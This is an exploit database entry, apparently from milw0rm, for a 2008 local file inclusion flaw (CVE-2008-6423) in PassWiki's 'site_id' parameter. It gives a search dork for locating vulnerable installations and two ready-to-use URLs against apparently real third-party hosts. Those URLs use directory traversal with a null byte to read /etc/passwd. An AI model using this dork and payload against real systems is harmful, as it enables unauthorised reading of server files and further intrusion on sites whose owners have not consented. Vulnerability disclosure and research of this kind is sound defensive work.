PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion

Author: mozi
type: webapps
platform: php
port: 
date_added: 2008-05-30 
date_updated: 2016-12-01 
verified: 1 
codes: OSVDB-45853;CVE-2008-6423 
tags: 
aliases:  
screenshot_url:  
application_url: 

dork: "powered by PassWiki"
example:
http://w3.funsrv.com/~konjo/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00
http://inajob.no-ip.org/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00


author:mozi2weed@yahoo.com
http://rstzone.org

# milw0rm.com [2008-05-31]